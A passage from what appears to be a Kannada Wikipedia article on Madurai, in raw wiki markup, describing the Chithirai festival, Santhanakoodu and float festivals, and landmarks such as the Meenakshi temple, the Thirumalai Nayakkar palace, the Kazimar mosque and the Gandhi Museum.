ನಡೆಯುತ್ತವೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಎಂಟನೇ ದಿನವು ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಚೇಕ ಮತ್ತು ಬೆಳ್ಳೀ ಸಿಂಹಾಸನದ ಮೇಲೆ ಮೆರವಣಿಗೆ ಇತ್ಯಾದಿಗಳು ನಡೆದರೆ, 9ನೇ ದಿನ ದಿಗ್ವಿಜಯ ಉತ್ಸವವು ನಡೆಯುತ್ತದೆ. 10ನೇ ದಿನದಲ್ಲಿ (ಚಿತ್ರ ಪೂರ್ಣಿಮೆ/ಪೌರ್ಣಿಮೆ) ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ವಿವಾಹ ಮಹೋತ್ಸವವು ನಡೆಯುತ್ತದೆ. ದಂತಕಥೆಗಳ ಪ್ರಕಾರ ವಿಷ್ಣು ತನ್ನ ಸೋದರಿಯನ್ನು ಶಿವನಿಗೆ ಮದುವೆ ಮಾಡಿಕೊಡುತ್ತಾನೆ. ಈ ದಂತಕಥೆಯ ನೆನಪಿಗಾಗಿ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂನಿಂದ ಮಧುರೈಗೆ ಮೆರವಣಿಗೆ ಮೂಲಕ ವಿಷ್ಣುವಿನ ಮೂರ್ತಿಯೊಂದನ್ನು ಕರೆತರಲಾಗುತ್ತದೆ. ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ ದೇಗುಲದ ಪ್ರಮುಖ/ಮೂಲ ದೇವರಾದುದದರಿಂದ, ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ಮೂರ್ತಿಯು ಮೆರವಣಿಗೆಯ ಮುಂಚೂಣಿಯಲ್ಲಿರುತ್ತದೆ. ವಿವಾಹ ಮಹೋತ್ಸವದ ನಂತರ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ಮೂರ್ತಿಗಳನ್ನು ಪಲ್ಲಕ್ಕಿಯ ಮೇಲೆ ಹಾಗೂ ಬೆಳ್ಳಿಯ ಆನೆಯ ಮೇಲಿನ ಭವ್ಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಅನುಕ್ರಮವಾಗಿ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. (ಇಲ್ಲಿ ಗಮನಿಸಬೇಕಾದ ವಿಷಯವೆಂದರೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಲ್ಲಿ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವಂ ಆಚರಿಸುವ ಎಲ್ಲಾ ಶಿವ ದೇಗುಲಗಳಲ್ಲಿ ತಿರುಕ್ಕಲ್ಯಾಣಂ ಉತ್ಸವವನ್ನು ಚಿತ್ರ ಪೌರ್ಣಮಿಯಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ). ಈ ಅವಧಿಯಲ್ಲಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ (ತಿರುಮಾಲಿರುಂಚೋಳೈ)ನಿಂದ ಕಲ್ಲಜ್ಹಘರ್‌ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದ ವೈಗೈ ನದಿ ಸಮೀಪದ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಕಲ್ಲಜ್ಹಘರ್‌ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತುಂಬ ತಡವಾಗಿ ಬಂದೆನೆಂದು ಅರಿವಾಗಿ ನಿರಾಶೆಯಿಂದ ನದಿ ದಾಟಲು ನಿರಾಕರಿಸಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾರೆ. ಐತಿಹಾಸಿಕವಾಗಿ, ಚಿತ್ತಿರೈ ಉತ್ಸವವನ್ನು ಮಾಸ್ಸಿಯಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತಿತ್ತು, ಹಾಗಾಗಿಯೇ ಉತ್ಸವದ ಮೆರವಣಿಗೆಗಳು ಮಾಸಿ ಬೀದಿಗಳಲ್ಲೇ ನಡೆಯುತ್ತವೆ. ನಾಯಕ್‌ ರಾಜರುಗಳ ಕಾಲದಲ್ಲಿ ಉತ್ಸವವನ್ನು ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ನ ಆಚರಣೆಯ ಕಾಲಕ್ಕೆ ಸರಿಹೊಂದುವಂತೆ ಮಾಡಲು ಎದ್ದುಕಾಣುವಂತೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಿಗೆ ಬದಲಾಯಿಸಲಾಯಿತು. ತೇರು (ರಥ) ಉತ್ಸವವನ್ನು ವಾರ್ಷಿಕೋತ್ಸವದ 11ನೇ ದಿನ ಆಚರಿಸಲಾಗುತ್ತದೆ. === ಸಂತನಕೂಡು ಉತ್ಸವಗಳು === ಆಯಾ ದರ್ಗಗಳ ಸಂತರ ನೆನಪಿಗಾಗಿ ಸಂತನಕೂಡು ಉತ್ಸವಗಳನ್ನು ದರ್ಗಾಗಳಲ್ಲಿ ಆಚರಿಸಲಾಗುತ್ತದೆ. ಸುತ್ತಮುತ್ತಲಿನ ದರ್ಗಾಗಳು ಹಾಗೂ ಅಲ್ಲಿನ ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕಗಳು. {| class="wikitable" |- ! ದರ್ಗಾ ! ಸಂತರ ಹೆಸರು ! ಸ್ಥಳ ! ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕ ([[ಹಿಜರಿ ಪಂಚಾಂಗ]])) |- | ಸಿಕಂದರ್‌ ಮಲೈ | ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಾಜಿ.. | [[ತಿರುಪಾರಾಂಕುಂದ್ರಂ]] | [[ರಜಾಬ್]]-15 |- | ಕಣವೈ | ಜರತ್‌‌ ಸೈಯದ್‌ ಇಬ್ರಾಹಿಂ ವಲೈಯುಲ್ಲಾಹ್‌ ರಾಜಿ.. | ಮೇಲಕ್ಕಳ್‌ | ರಬಿ' ಅಲ್‌-ಥಾಣಿ/0}-2 |- | ತಿರುವೇದಗಂ | ಹಜರತ್‌‌ ಷಾ ಹುಸೇನ್‌ ಪರ್ಹೇಜ್‌ ರಾಜಿ... | [[ಷೋ/ಶೋಲಾವಂದನ್]] | [[ಮು/ಮೊಹರ್ರಂ]]-26 |- |} === ತೆಪ್ಪೋರ್ಚವಂ/ತೆಪ್ಪೋತ್ಸವ === ಈ ಉತ್ಸವವನ್ನು ಜನವರಿ ತಿಂಗಳಲ್ಲಿ, ಥಾ/ಥಯ್‌ ತಮಿಳು ತಿಂಗಳಿನ ಹುಣ್ಣಿಮೆಯ ದಿನದಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ . ಅಲಂಕೃತವಾದ ದೇವತೆ ಮೀನಾಕ್ಷಿ ಹಾಗೂ ಆಕೆಯ ಪತಿಯ ಪ್ರತಿಮೆಗಳನ್ನು ವರ್ಣಮಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ದೇವಸ್ಥಾನದಿಂದ ದೊಡ್ಡದಾದ ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕುಲಂಗೆ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. ಈ ಪ್ರತಿಮೆಗಳನ್ನು ಮಿನುಗುತ್ತಿರುವ ದೀಪಗಳು ಹಾಗೂ ಹೂವಿಗಳಿಂದ ಅಲಂಕೃತವಾದ ತೆಪ್ಪದ ಮೇಲಿಟ್ಟು ಕೆರೆಯ ಮೇಲೆ ತೇಲಿ ಬಿಡಲಾಗುತ್ತದೆ. [http://www.madurai.org.uk/culture/float-festival.html ಇಲ್ಲಿ ನೋಡಿ] === ಮತ್ತು ಪೊಂಗಲ್‌ &amp; ಪ್ರಸಿದ್ಧ ಅಲಂಗನಲ್ಲೂರ್‌ ಜಲ್ಲಿಕಟ್ಟು === == ಪ್ರವಾಸೋದ್ಯಮ ಮತ್ತು ಹೆಗ್ಗುರುತುಗಳು == ಭಾರತದ ಅತಿ ಪ್ರಮುಖ [[ಹಿಂದು]] ತೀರ್ಥಯಾತ್ರಾ ಸ್ಥಳಗಳಲ್ಲಿ ಮಧುರೈ ಒಂದಾಗಿದೆ. ನಗರವು ಹಾಗೂ ಬಹು ಸಂಖ್ಯೆಯ ದೇಶದೊಳಗಿನ ಯಾತ್ರಾರ್ಥಿಗಳನ್ನು ಮತ್ತು ವಿದೇಶಿ ಪ್ರವಾಸಿಗರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. 2007ರಲ್ಲಿ ಸರಿಸುಮಾರು 4,100,000 ಪ್ರವಾಸಿಗರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದರು, ಅವರಲ್ಲಿ 224,000<ref>{{cite web|url= http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|title= Tourism works around temple to be over by March|accessdate= 2009-01-24|archive-date= 2007-11-07|archive-url= https://web.archive.org/web/20071107054448/http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|url-status= dead}}</ref> ಮಂದಿ ವಿದೇಶಿಗರಿದ್ದರು. ==== ಮೀನಾಕ್ಷಿ -ಸುಂದರೇಶ್ವರರ್ ದೇಗುಲ ==== [[ಚಿತ್ರ:Madurei 350.jpg|thumb|right|ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ]] ಇಂದಿಗೂ ಭಾರತದ ಅತಿ ಪ್ರಮುಖ ಸಾಂಸ್ಕೃತಿಕ ಮತ್ತು ವಾಸ್ತುವೈಭವದ ಹೆಗ್ಗುರುತುಗಳಲ್ಲಿ ಒಂದಾಗಿರುವ ಮಧುರೈನ [[ಮೀನಾಕ್ಷಿ-ಸುಂದರೇಶ್ವರರ್‌]] ದೇಗುಲವನ್ನು ಮೂಲತಃ ಪ್ರಾಚೀನ ಪಾಂಡ್ಯರ ಅರಸ ಕುಲಶೇ/ಸೇಖರನು ಕಟ್ಟಿಸಿದ್ದು ಎನ್ನಲಾಗುತ್ತದೆ. [[ತಮಿಳುನಾಡಿನ ಪ್ರಧಾನ ಶಿವ ದೇವಾಲಯ]]ಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಚಕ್ರವ್ಯೂಹದಂತಹ ಸುತ್ತುಬಳಸಿನ ಜಟಿಲ ರಚನೆಯ ಮೀನಾಕ್ಷಿ ದೇಗುಲವು ದೇವತೆ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಆಕೆಯ ಪತಿ ಸುಂದರೇಶ್ವರರ್‌ (''ಸ್ಫುರದ್ರೂಪಿ ದೇವ'' )ರ ಪ್ರೇಮವನ್ನು ಆಚರಿಸುವ ವಿಶ್ವಪ್ರಸಿದ್ಧವಾಗಿದೆ<ref name="FrommersIndia" />. ಪ್ರಾಚೀನ ಮಧುರೈ ನಗರವನ್ನು ಕಮಲದ ಆಕೃತಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದ್ದು, ದೇಗುಲವು ಕೇಂದ್ರಭಾಗದಲ್ಲಿದ್ದು ರಸ್ತೆಗಳು ಹಾಗೂ ರಾಜಮಾರ್ಗಗಳು ಒಂದರ ನಂತರ ಒಂದರಂತೆ ಏಕಕೇಂದ್ರಿತವಾಗಿ ಕೇಂದ್ರದಿಂದ ಹೊರಕ್ಕೆ ಬರುವಂತೆ ಇದೆ. ದಂತಕಥೆಯೊಂದರ ಪ್ರಕಾರ ನಗರಕ್ಕೆ ಹೆಸರಿಡಬೇಕಾದ ದಿನದಂದು, ಮಹಾಶಿವನು ನಗರ ಹಾಗೂ ನಗರದ ಜನರ ಮೇಲೆ ತನ್ನ ಜಟೆಯಿಂದ ಅಮೃತವನ್ನು ಪ್ರೋಕ್ಷಿಸಿ ಆಶೀರ್ವದಿಸಿದನು. ಹಾಗಾಗಿ ನಗರವು ''ಮಧುರಾಪುರಿ'' ಎಂದರೆ ''ಪವಿತ್ರ ಅಮೃತ ನಗರಿ'' ಎಂಬರ್ಥ ಬರುವ ಹೆಸರನ್ನು ಹೊಂದಿತು. ಈ ದಂತಕಥೆಯು ಉಳಿದಂತೆ ದ್ರಾವಿಡ ನಗರವಾಗಿದ್ದ ಮಧುರೈನ ವ್ಯುತ್ಪನ್ನವನ್ನು ಸಂಸ್ಕೃತೀಕರಿಸಲು/ಆರ್ಯವ್ಯುತ್ಪನ್ನಕ್ಕೆ ಬದಲಿಸಲು ತಡವಾಗಿ ಹೆಣೆದಿರಬಹುದಾಗಿದ್ದ ಕಥೆಯಾಗಿರಬಹುದು. ಇದೇ ಸ್ಥಳದಲ್ಲಿ ನಟರಾಜರ್‌ ದೇವನು ತನ್ನ ಬಲಗಾಲೆತ್ತಿ ನೃತ್ಯ ಮಾಡಿದ್ದು. (ಕಾಲ್‌ ಮಾರಿಯ ಆದಿಯಾ ನಟರಾಜರ್). ಮಹಾಶಿವನಿಗೆ ನಿರ್ಮಾಣವಾದ ದೇಗುಲವನ್ನು ಕಂಡು ಆನಂದವಾಗಿ ವಿಭಿನ್ನರೀತಿಯ ನೃತ್ಯವನ್ನು ಮಾಡಿದನು. [[ಕನ್ನಗಿ]] ಇಡೀ ನಗರವನ್ನು ದಹಿಸಿದ ಮೇಲೂ ಉಳಿದುಕೊಂಡ ದೇವಸ್ಥಾನವಿದು. ಪ್ರಸಕ್ತ ಕನಿಷ್ಟ 2009ರ ಕೊನೆಯವರೆಗೆ ಎಲ್ಲಾ ಗೋಪುರಗಳನ್ನು ಅದರ ಮೇಲಿನ ಶೀಲ್ಪಕಲೆಗಳು ಕಾಣದಂತೆ ಮರೆಮಾಚಿ ಅಪಾರದರ್ಶಕ ಮುಸುಕುಗಳು ಹಾಗೂ ಚೌಕಟ್ಟುಗಳನ್ನು ಇಳಿಬಿಡಲಾಗಿದೆ. ==== ತಿರುಮಲೈ ನಾಯಕರ್‌ ಮಹಲ್‌ ==== [[ಚಿತ್ರ:30Madura Tirumala Nayakkas Palace.jpg|thumb|right|120px|ತಿರುಮಲೈ ನೈಕರ್‌ ಮಹಲ್‌]] ಈ ಅರಮನೆ ಕಟ್ಟಡವನ್ನು 1636ರಲ್ಲಿ ಇಂಡೋ-ಸಾರಸ್ಯನ್‌ /ಭಾರತೀಯ ಇಸ್ಲಾಂ ಶೈಲಿಯಲ್ಲಿ [[ತಿರುಮಲೈ ನಾಯಕರ್‌]] ರಾಜನು ಕಟ್ಟಿಸಿದ. ಈ ಕಟ್ಟಡವು ಈಗ ರಾಷ್ಟ್ರೀಯ ಸ್ಮಾರಕವಾಗಿದ್ದು ತಮಿಳುನಾಡಿನ ಪುರಾತತ್ವ ಇಲಾಖೆಯ ಆಶ್ರಯದಲ್ಲಿದೆ. ಮೂಲ ಅರಮನೆ ಕಟ್ಟಡವು ಪ್ರಸ್ತುತ ಕಟ್ಟಡದ ನಾಲ್ಕರಷ್ಟು ದೊಡ್ಡದಾಗಿತ್ತು. ಅದನ್ನು, ಸ್ವರ್ಗ-ವಿಲಾಸ ಮತ್ತು ರಂಗ-ವಿಲಾಸ ಎಂದು ಎರಡು ಭಾಗಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿತ್ತು. ಈ ಪ್ರತಿಯೊಂದು ವಿಭಾಗದಲ್ಲಿಯೂ ರಾಜವಂಶ ನಿವಾಸಗಳು, ರಂಗಮಂದಿರ, ದೇಗುಲಗಳು, ಮಹಡಿ/ವಠಾರಗಳು, ಶಸ್ತ್ರಾಗಾರ, ಪಲ್ಲಕ್ಕಿ ಸ್ಥಳ, ವಾದ್ಯಕೂಟ, ವಸತಿ ಸಮುಚ್ಛಯ, ಕೊಳಗಳು, ಮತ್ತು ಉದ್ಯಾನಗಳಿದ್ದವು. ಕಟ್ಟಡದ ಮೇಲ್ಛಾವಣಿಯಲ್ಲಿ ಶೈವ ಹಾಗೂ ವೈಷ್ಣವ ಪಂಥದ ವಿಸ್ತಾರವಾದ ಚಿತ್ರಗಳಿಂದ ಅಲಂಕೃತವಾಗಿದ್ದವು. ಸ್ವರ್ಗವಿಲಾಸಂ ಎಂದು ಹೆಸರಾದ ಯಾವುದೇ ತೊಲೆ ಇಲ್ಲವೇ ಜಂತಿಗಳಿಂದ ಆಧಾರ ಹೊಂದಿಲ್ಲದ ಪೂರ್ಣವಾಗಿ ಗಾರೆ ಹಾಗೂ ಇಟ್ಟಿಗೆಗಳಿಂದ ನಿರ್ಮಿತವಾದ ಕಮಾನುಗಳಿಂದ ಅಲಂಕೃತವಾದ ಅಷ್ಟಭುಜಾಕೃತಿಯ ಮೊಗಸಾಲೆಯನ್ನು ಹೊಂದಿದೆ. ಅದರ ಗುಮ್ಮಟಗಳ ಮೇಲೆ ಹಾಗೂ ಕಮಾನುಗಳ ಮೇಲೆ ಮಾಡಿರುವ ನಯವಾದ ಗಾರೆ ಕಲೆ ಅತ್ಯದ್ಭುತವಾಗಿದೆ. ದೊಡ್ಡ ಗಾತ್ರದ ಸ್ತಂಭಗಳು ಮತ್ತು ಕಟ್ಟೋಣಗಳು ವಾಸ್ತುಶಿಲೆಯ ಮೇಲಿನ ಪ್ರೌಢಿಮೆಯನ್ನು ತೋರಿಸುತ್ತವೆ. ಒಳಾಂಗಣ/ದರ್ಬಾರು/ರಾಜಾಸ್ಥಾನ ಹಾಗೂ ನೃತ್ಯ ಅಂಗಳಗಳು ಸಂದರ್ಶಕರಿಗೆ ಪ್ರಮುಖ ಆಕರ್ಷಣೆಗಳಾಗಿವೆ. ಪ್ರತಿಯೊಂದು 58 ಅಡಿ ಎತ್ತರ ಹಾಗೂ 5 ಅಡಿ ಸುತ್ತಳತೆ ಹೊಂದಿರುವ ಒಟ್ಟು 248 ಸ್ತಂಭಗಳಿವೆ. ರಾಜರುಗಳು ಬಳಸುತ್ತಿದ್ದ ಪೀಠೋಪಕರಣಗಳು ಮತ್ತು ಗೃಹಸಾಮಗ್ರಿಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ತಮಿಳು ಹಾಗೂ ಆಂಗ್ಲ ಭಾಷೆಗಳಲ್ಲಿ "ಸಿಲಾಪ್ಪಥಿಕಾರಂ"ನ ಕಥನ ಚಿತ್ರಿಸುವ "ಬೆಳಕು ಹಾಗೂ ಸಂಗೀತದ" ಪ್ರದರ್ಶನಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿದೆ. ಈ ಅರಮನೆಯು ''ಬಾಂಬೆ'' , ''ಇರುವರ್'' ‌, ''ಗುರು'' ಮತ್ತು ''ಜೋಡಿ'' ಮುಂತಾದ ಭಾರತೀಯ ಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದೆ. ==== ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌) ಮತ್ತು ಮಕ್‌ಬರಾ ==== [[ಚಿತ್ರ:kazimarbigmosque.JPG|right|thumb|185px|ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ , ಮಧುರೈ]] [[ಚಿತ್ರ:maqbara.jpg|left|thumb|185px|ದೊಡ್ಡ ಮಸೀದಿಯ ಬಳಿಯಿರುವ ಮಧುರೈ ಹಜರತ್‌ರ ಮಕಬರಾ]] ಮಧುರೈ ನಗರದ ಹೃದಯಭಾಗದಲ್ಲಿ ಪ್ರಸಿದ್ಧ [[ಮಸೀದಿ]] (ಮಸ್ಜಿದ್‌) ಇದೆ, [[ಪೆರಿಯರ್‌]] (ಕೇಂದ್ರ) ಬಸ್‌‌ ನಿಲ್ದಾಣದಿಂದ ಕೇವಲ 500 ಮೀಟರ್‌ಗಳಷ್ಟು ಹಾಗೂ ಮಧುರೈ ರೈಲ್ವೆ ಜಂಕ್ಷನ್‌ನ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 1 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿನ ಪ್ರಪ್ರಥಮ [[ಮುಸ್ಲಿಮ]]ರ ಪೂಜಾಸ್ಥಳವಾದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಬಂದ ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಪಾಣಿದಿಯಾ/ಪಾಂಡ್ಯ ರಾಜ, ಕೂ‌(ನ್) ಪಾಂಡಿಯನ್‌ರಿಂದ ಈ ಸ್ಥಳವನ್ನು ಪಡೆದು ಕಟ್ಟಿಸಿದರು. '''[http://www.maqbara.com ಮಧುರೈನ ಪ್ರಸಿದ್ಧ ಹಜರತ್‌‌ಗಳ] ದರ್ಗಾ ಆಗಿರುವ [[ಮಧುರೈ ಮಕ್‌ಬರಾ]]''' ಸಹಾ('''ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ''' - ಹಜರತ್‌‌ ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ, ಹಜರತ್‌‌ ಮೀರ್‌ ಅಮ್ಜದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಹಜರತ್‌‌ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ರಹಮತುಲ್ಲಾಹಿ ಅಲೈಹಿಂ) ಈ [[ಮಸೀದಿ]]ಯ ಆವರಣದಲ್ಲಿಯೇ ಇದೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ ಎಲ್ಲಾ ವಂಶಸ್ಥರು (ಹಕ್‌ದಾರ್‌ಗಳು - ಈ [[ಮಸೀದಿ]]ಯ ಷೇರುದಾರರುಗಳನ್ನು ಸೈಯದ್‌ಗಳೆಂದು ಕರೆಯುತ್ತಾರೆ) ಇದೇ ಪ್ರದೇಶದಲ್ಲಿಯೇ (ಖಾಜಿ ಮಾರ್‌ ಬೀದಿ) ಸುಮಾರು 700 ವರ್ಷಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚಿನ ಕಾಲದಿಂದ ವಾಸವಾಗಿದ್ದು ಆಗಿನಿಂದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು ನಿರ್ವಹಿಸುತ್ತಾ ಬಂದಿದ್ದಾರೆ. ಸೈಯದ್‌ ತಜುದ್ದೀನರನ್ನು ಸುಲ್ತಾನರ ಕಾಲದಲ್ಲಿ ಖಾಜಿಯೆಂದು ನೇಮಕ ಮಾಡಲಾಗಿತ್ತು, ಹಾಗೂ ಈಗಲೂ ಮಧುರೈನ ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯಲ್ಲಿ ವಾಸವಾಗಿರುವ ಅವರ ವಂಶಸ್ಥರನ್ನೇ [http://www.tn.gov.in ತಮಿಳುನಾಡು ಸರ್ಕಾರ] ದ ವತಿಯಿಂದ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಕ ಮಾಡಲಾಗುತ್ತಿದೆ. ಎಲ್ಲಾ ಸೈಯದ್‌ಗಳು [[ಇಸ್ಲಾಂ]]ನ [[ಹನಫಿ]] ಪಂಥದ [[ಸುನ್ನಿ]] ಪಂಗಡಕ್ಕೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ [[ವಂಶಸ್ಥರು]]ಗಳಲ್ಲಿ ಬಹುತೇಕ ಮಂದಿ [[ಷಾದಿಲಿಗಳು]] (ಷಾಜುಲಿ) ಸೂಫಿ ಪಂಥದ [http://www.shazuli.com ಫಸ್ಸಿಯತುಷ್‌ ಷಾದಿಲಿಯಾ] ವನ್ನು ಪಾಲಿಸುತ್ತಾರೆ. ==== ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ ==== [[ಚಿತ್ರ:Gandhi museum, Madurai.jpg|right|thumb|ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ]] ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವು [[ಮಹಾತ್ಮಾ ಗಾಂಧಿ]]ಯವರ ಬಗ್ಗೆ ಮಾಹಿತಿ ನೀಡುವುದಲ್ಲದೇ, ಪ್ರಮುಖವಾಗಿ [[ನಾಥೂರಾಮ್‌ ಗೋಡ್ಸೆ]]ಯಿಂದ [[ಹತ್ಯೆಯಾದಾಗ]] ಅವರು ಧರಿಸಿದ್ದ ರಕ್ತಸಿಕ್ತ ಮೂಲ ವಸ್ತ್ರದ ಭಾಗವನ್ನು ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ಆ ವಸ್ತ್ರದ ಉಳಿದ ಭಾಗವನ್ನು ದೆಹಲಿಯ ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯದಲ್ಲಿ ಇಡಲಾಗಿದೆ. ಗಾಂಧಿ ಸಂಗ್ರಹಾಲಯಗಳೆಂದು ಹೆಸರಾದ ಭಾರತದಲ್ಲಿನ 5 ವಸ್ತುಸಂಗ್ರಹಾಲಯಗಳಲ್ಲಿ (ಉಳಿದವು ಮುಂಬಯಿ, ಬರಖ್‌ಪುರ್‌, ಸಾಬರ್‌ಮತಿ/ಸಬರ್‌ಮತಿ ಮತ್ತು ಪಾಟ್ನಾ) ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವೂ ಒಂದು.<ref>{{cite web|url=http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|title=Gandhi relics should be a medium to spread the message: Gandhi Museum director|accessdate=2009-03-08|archive-date=2012-03-15|archive-url=https://web.archive.org/web/20120315002205/http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|url-status=dead}}</ref> ಗಾಂಧಿಯವರ ಜೀವಿತ ಕಾಲದಲ್ಲಿನ ಅವರು ವಿಶ್ವದಾದ್ಯಂತದ ಅನೇಕ ಮುಖಂಡರೊಡನೆ ಕಾಣಿಸಿಕೊಂಡಿರುವ ಹಾಗೂ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದ ಅನೇಕ ಸಂದರ್ಭಗಳ ಬಹಳಷ್ಟು ಛಾಯಾಚಿತ್ರಗಳನ್ನು ಕೂಡಾ ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. [[ಮಾರ್ಟಿನ್‌ ಲೂಥರ್‌ ಕಿಂಗ್‌]] Jr.ರು 1959ರಲ್ಲಿ ತಾವು ಕೈಗೊಂಡಿದ್ದ ಭಾರತ ಪ್ರವಾಸದಲ್ಲಿ ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯಕ್ಕೆ ಸಹಾ ಭೇಟಿ ನೀಡಿದರು ಹಾಗೂ ಇದರಿಂದ ಪ್ರಭಾವಿತರಾಗಿಯೇ ಮುಂದೆ ತಾವು ಜನಾಂಗೀಯ ತಾರತಮ್ಯಗಳ ವಿರುದ್ಧ ಶಾಂತಿಯುತ ಪ್ರತಿಭಟನೆ ಕೈಗೊಂಡರು ಎನ್ನಲಾಗುತ್ತದೆ <ref>{{cite web|url= http://www.hindu.com/2006/07/01/stories/2006070122320300.htm|title= Madurai soil for Cleveland|accessdate= 2009-01-24|archive-date= 2007-10-17|archive-url= https://web.archive.org/web/20071017161929/http://hindu.com/2006/07/01/stories/2006070122320300.htm|url-status= dead}}</ref>.ವಸ್ತುಸಂಗ್ರಹಾಲಯದ ಸಂದರ್ಶಕರಿಗೆ ಯಾವುದೇ ಪ್ರವೇಶ ಶುಲ್ಕವಿಲ್ಲ. ==== ತಿರುಪರಾಕುಂದ್ರಂ ==== [[ಚಿತ್ರ:Tiruparankundram dargah.jpg|thumb|right|ತಿರುಪ್ಪರಂಕುಂದರಂ ಬೆಟ್ಟಗಳ ಮೇಲಿನ ಹಜರತ್‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ದರ್ಗಾ.]] ತಿರುಪರಾಕುಂದ್ರಂ ಮಧುರೈ ನಗರ ಕೇಂದ್ರದಿಂದ 8&nbsp;km ಅಥವಾ 5 ಮೈಲುಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ತಿರುಪರಾಕುಂದ್ರಂ ದೇವಾಲಯವು ಮಧುರೈನ ಜನರಂತೆಯೇ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಸಂಕೇತವಾಗಿದೆ. 13ನೇ ಶತಮಾನದ ಮೊದಲಭಾಗದಲ್ಲಿ [[ಮದೀನಾ]]ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸೈಯದ್‌ 